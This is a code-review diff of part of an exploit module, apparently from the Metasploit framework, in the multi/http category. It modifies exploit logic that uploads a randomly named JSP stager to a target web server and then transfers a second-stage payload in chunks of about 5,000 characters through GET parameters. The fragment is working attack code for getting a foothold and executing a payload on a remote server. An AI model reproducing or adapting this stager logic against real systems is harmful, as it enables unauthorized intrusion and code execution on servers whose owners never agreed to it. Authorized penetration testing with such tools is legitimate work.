File tree Expand file tree Collapse file tree 1 file changed +4
-3
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +4
-3
lines changed Original file line number Diff line number Diff line change @@ -129,17 +129,18 @@ def exploit
129
129
print_status ( "Deploying minimal stager to upload the payload" )
130
130
head_stager_jsp_name = rand_text_alpha ( 8 +rand ( 8 ) )
131
131
head_stager_contents = head_stager_jsp ( stager_base , stager_jsp_name )
132
- head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp? "
132
+ head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
133
133
res = upload_file ( stager_base , head_stager_jsp_name , head_stager_contents )
134
134
135
135
# We split the stager_jsp_code in multipe junks and transfer on the
136
136
# target with multiple requests
137
137
current_pos = 0
138
138
while current_pos < stager_contents . length
139
139
next_pos = current_pos + 5000 + rand ( 100 )
140
- junk = "arg0=" + Rex :: Text . uri_encode ( stager_contents [ current_pos , next_pos ] )
140
+ vars_get = { "arg0" => stager_contents [ current_pos , next_pos ] }
141
141
print_status ( "Uploading second stager (#{ current_pos } /#{ stager_contents . length } )" )
142
- res = deploy ( 'uri' => head_stager_uri + junk )
142
+ res = deploy ( 'uri' => head_stager_uri ,
143
+ 'vars_get' => vars_get )
143
144
current_pos += next_pos
144
145
end
145
146
end
You can’t perform that action at this time.
0 commit comments